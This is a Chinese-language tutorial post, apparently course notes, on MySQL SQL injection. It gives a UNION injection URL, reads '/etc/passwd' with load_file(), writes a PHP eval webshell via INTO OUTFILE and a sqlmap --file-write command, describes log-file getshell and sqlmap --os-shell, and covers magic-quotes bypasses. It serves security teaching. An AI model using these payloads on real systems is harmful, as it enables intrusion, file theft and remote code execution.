0
点赞
收藏
分享

微信扫一扫

SQL注入之简要注入

_karen 2022-04-26 阅读 102

     在本系列课程学习中,SQL注入漏洞将是重点部分,其中SQL注入又非常复杂,区分各种数据库类型,提交方法,数据类型等注入,我们需要按部就班的学习,才能学会相关SQL注入的核心。同样此类漏洞是WEB安全中严重的安全漏洞,学习如何利用,挖掘,修复也是很重要的。

1、信息收集

获取当前网站的操作系统

select @@version_complie_os;

获取数据库名

select database();

获取数据库用户

select user();

获取数据库版本

select version();

获取数据库路径

select @@datadir;

获取网站路径

https://www.jb51.net/hack/5782.html

在MySQL中如何使用LOAD_FILE()函数?(代码示例)-mysql教程-PHP中文网

2、数据注入

知识点:

2、数据库中符合"."代表下一级,如dvwa.user代表dvwa数据库下的user表

例如普通的查询语句:

http://www.aaa.php?id=-1 union select 1,table_name from information_schema.tables where table_schema='dvwa'

该语句是向information_schema.tables表中,查table_schema字段等于'dvwa'的table_name字段内容,有点绕......还是看看实例吧。

这是一张user表的全部内容

 

下面是向user表中,查询Host字段等于%或localhost的User字段内容。

3、高权限注入

进行跨数据库查询

就一个权限问题而已,某些网站对应数据库用户权限只能查看某个数据库,而高权限数据库用户可以查看多个数据库,步骤和普通的注入差不多,这里不再赘述。

进行文件读取

利用条件

查询语句:

对应的情况

在 MySQL 5.5 之前 secure_file_priv 默认是空,这个情况下可以向任意绝对路径写文件

在 MySQL 5.5之后 secure_file_priv 默认是 NULL,这个情况下不可以写文件

在window系统下

采取这样的方式读文件,而不是这种C:\Users\zhang\Desktop\php\PHPTutorial\MySQL\data,因为\后加字符在编程语言中有特殊含义,例如c语言中\n是换行。

select load_file('C:/Users/zhang/Desktop/php/PHPTutorial/MySQL/data/1.txt');

在linux系统下

select load_file('/etc/passwd');

写webshell

into outfile写shell

利用条件

原生SQL语句写shell:

select '<?php eval($_POST[1]);?>' into outfile '/var/www/html/webshell.php';

sqlmap中可以如下操作:

sqlmap -u 'http://x.x.x.x/?id=x' --file-write='/Users/zhang/Desktop/1.txt' --file-dest='var/www/html/webshell.php'

一般情况下 Linux 系统下面权限分配比较严格,MySQL 用户一般情况下是无法直接往站点根目录写入文件的,这种情况下在 Windows 环境下成功率会很高。

日志文件写shell

利用条件

MySQL 5.0 版本以上会创建日志文件,可以通过修改日志的全局变量来 getshell

general_log 默认关闭,开启它可以记录用户输入的每条命令,会把其保存在对应的日志文件中。

可以尝试自定义日志文件,并向日志文件里面写入内容的话,那么就可以成功 getshell:

这里虽然可以成功写入,但是这个 info.php 是 MySQL 创建的 :

Apache 访问这个 php 文件会出现 HTTP 500 的状态码,结论是 root 系统这种情况基本上不会成功,只有在 Windows 系统下成功率会高一些,不过这里还是可以当做小知识点来学习记录。

--os-shell

详细请看sqlmap --os-shell 原理详解_ZredamanJ的博客-CSDN博客

--os-cmd

--sql-shell

4、常见写入问题

魔术引号设计的初衷是为了让从数据库或文件中读取数据和从请求中接收参数时,对单引号、双引号、反斜线、NULL加上一个一个反斜线进行转义,这个的作用跟addslashes()的作用完全相同。

对于这种情况可以采取字符转十六进制绕过,如果编码方式是gbk的情况下,还可以采取宽字节注入绕过。

php中get_magic_quotes_gpc()函数详解-php教程-PHP中文网

5、int函数

对输入的东西进行判断是否为数字

参考文章 

MySQL 漏洞利用与提权 | 国光

SQLMAP怎么拿shell_Aim High的博客-CSDN博客_sqlmap拿shell

sqlmap --os-shell执行原理(mysql篇) - 小明-o3rr0r - 博客园 (cnblogs.com)

第十二天sql注入 · 语雀

举报

相关推荐

0 条评论